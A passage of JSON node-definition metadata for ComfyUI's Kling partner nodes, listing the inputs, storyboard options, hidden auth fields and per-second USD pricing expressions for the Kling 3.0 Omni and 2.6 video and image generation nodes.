"max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "aspect_ratio", "duration"], "optional": ["resolution", "storyboards", "generate_audio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProTextToVideoNode", "display_name": "Kling 3.0 Omni Text to Video", "description": "Use text prompts to generate videos with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := widgets.resolution;\n $mode := $res = \"4k\" ? \"4k\" : ($res = \"720p\" ? \"std\" : \"pro\");\n $isV3 := $contains(widgets.model_name, \"v3\");\n $audio := $isV3 and widgets.generate_audio;\n $rates := $audio\n ? {\"std\": 0.112, \"pro\": 0.14, \"4k\": 0.42}\n : {\"std\": 0.084, \"pro\": 0.112, \"4k\": 0.42};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProFirstLastFrameNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions. Ignored when storyboards are enabled.", "multiline": true}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}], "first_frame": ["IMAGE", {}]}, "optional": {"end_frame": ["IMAGE", {"tooltip": "An optional end frame for the video. This cannot be used simultaneously with 'reference_images'. Does not work with storyboards."}], "reference_images": ["IMAGE", {"tooltip": "Up to 6 additional reference images."}], "resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "storyboards": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations. Only supported for kling-v3-omni.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video. Only supported for kling-v3-omni.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "duration", "first_frame"], "optional": ["end_frame", "reference_images", "resolution", "storyboards", "generate_audio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProFirstLastFrameNode", "display_name": "Kling 3.0 Omni First-Last-Frame to Video", "description": "Use a start frame, an optional end frame, or reference images with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := widgets.resolution;\n $mode := $res = \"4k\" ? \"4k\" : ($res = \"720p\" ? \"std\" : \"pro\");\n $isV3 := $contains(widgets.model_name, \"v3\");\n $audio := $isV3 and widgets.generate_audio;\n $rates := $audio\n ? {\"std\": 0.112, \"pro\": 0.14, \"4k\": 0.42}\n : {\"std\": 0.084, \"pro\": 0.112, \"4k\": 0.42};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProImageToVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions. Ignored when storyboards are enabled.", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}], "reference_images": ["IMAGE", {"tooltip": "Up to 7 reference images."}]}, "optional": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "storyboards": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations. Only supported for kling-v3-omni.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video. Only supported for kling-v3-omni.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "aspect_ratio", "duration", "reference_images"], "optional": ["resolution", "storyboards", "generate_audio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProImageToVideoNode", "display_name": "Kling 3.0 Omni Image to Video", "description": "Use up to 7 reference images to generate a video with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := widgets.resolution;\n $mode := $res = \"4k\" ? \"4k\" : ($res = \"720p\" ? \"std\" : \"pro\");\n $isV3 := $contains(widgets.model_name, \"v3\");\n $audio := $isV3 and widgets.generate_audio;\n $rates := $audio\n ? {\"std\": 0.112, \"pro\": 0.14, \"4k\": 0.42}\n : {\"std\": 0.084, \"pro\": 0.112, \"4k\": 0.42};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProVideoToVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions.", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["INT", {"default": 3, "min": 3, "max": 10, "display": "slider"}], "reference_video": ["VIDEO", {"tooltip": "Video to use as a reference."}], "keep_original_sound": ["BOOLEAN", {"default": true}]}, "optional": {"reference_images": ["IMAGE", {"tooltip": "Up to 4 additional reference images."}], "resolution": ["COMBO", {"multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "aspect_ratio", "duration", "reference_video", "keep_original_sound"], "optional": ["reference_images", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProVideoToVideoNode", "display_name": "Kling 3.0 Omni Video to Video", "description": "Use a video and up to 4 reference images to generate a video with the latest Kling model.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := (widgets.resolution = \"720p\") ? \"std\" : \"pro\";\n $rates := {\"std\": 0.126, \"pro\": 0.168};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode) * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProEditVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions.", "multiline": true}], "video": ["VIDEO", {"tooltip": "Video for editing. The output video length will be the same."}], "keep_original_sound": ["BOOLEAN", {"default": true}]}, "optional": {"reference_images": ["IMAGE", {"tooltip": "Up to 4 additional reference images."}], "resolution": ["COMBO", {"multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "video", "keep_original_sound"], "optional": ["reference_images", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProEditVideoNode", "display_name": "Kling 3.0 Omni Edit Video", "description": "Edit an existing video with the latest model from Kling.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := (widgets.resolution = \"720p\") ? \"std\" : \"pro\";\n $rates := {\"std\": 0.126, \"pro\": 0.168};\n {\"type\":\"usd\",\"usd\": $lookup($rates, $mode), \"format\":{\"suffix\":\"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": "Video Generation", "has_intermediate_output": false}, "KlingOmniProImageNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-image-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the image content. This can include both positive and negative descriptions.", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K", "4K"]}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "3:2", "2:3", "21:9"]}], "series_amount": ["COMBO", {"tooltip": "Generate a series of images. Not supported for kling-image-o1.", "multiselect": false, "options": ["disabled", "2", "3", "4", "5", "6", "7", "8", "9"]}]}, "optional": {"reference_images": ["IMAGE", {"tooltip": "Up to 10 additional reference images."}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "resolution", "aspect_ratio", "series_amount"], "optional": ["reference_images", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingOmniProImageNode", "display_name": "Kling 3.0 Omni Image", "description": "Create or edit images with the latest model from Kling.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/image/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "series_amount", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"1k\": 0.028, \"2k\": 0.028, \"4k\": 0.056};\n $base := $lookup($prices, widgets.resolution);\n $isO1 := widgets.model_name = \"kling-image-o1\";\n $mult := ($isO1 or widgets.series_amount = \"disabled\") ? 1 : $number(widgets.series_amount);\n {\"type\":\"usd\",\"usd\": $base * $mult}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingTextToVideoWithAudio": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v2-6"]}], "prompt": ["STRING", {"tooltip": "Positive text prompt.", "multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["pro"]}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "generate_audio": ["BOOLEAN", {"advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "prompt", "mode", "aspect_ratio", "duration", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingTextToVideoWithAudio", "display_name": "Kling 2.6 Text to Video with Audio", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.07 * widgets.duration * (widgets.generate_audio ? 2 : 1)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingImageToVideoWithAudio": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v2-6"]}], "start_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Positive text prompt.", "multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["pro"]}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "generate_audio": ["BOOLEAN", {"advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_name", "start_frame", "prompt", "mode", "duration", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": 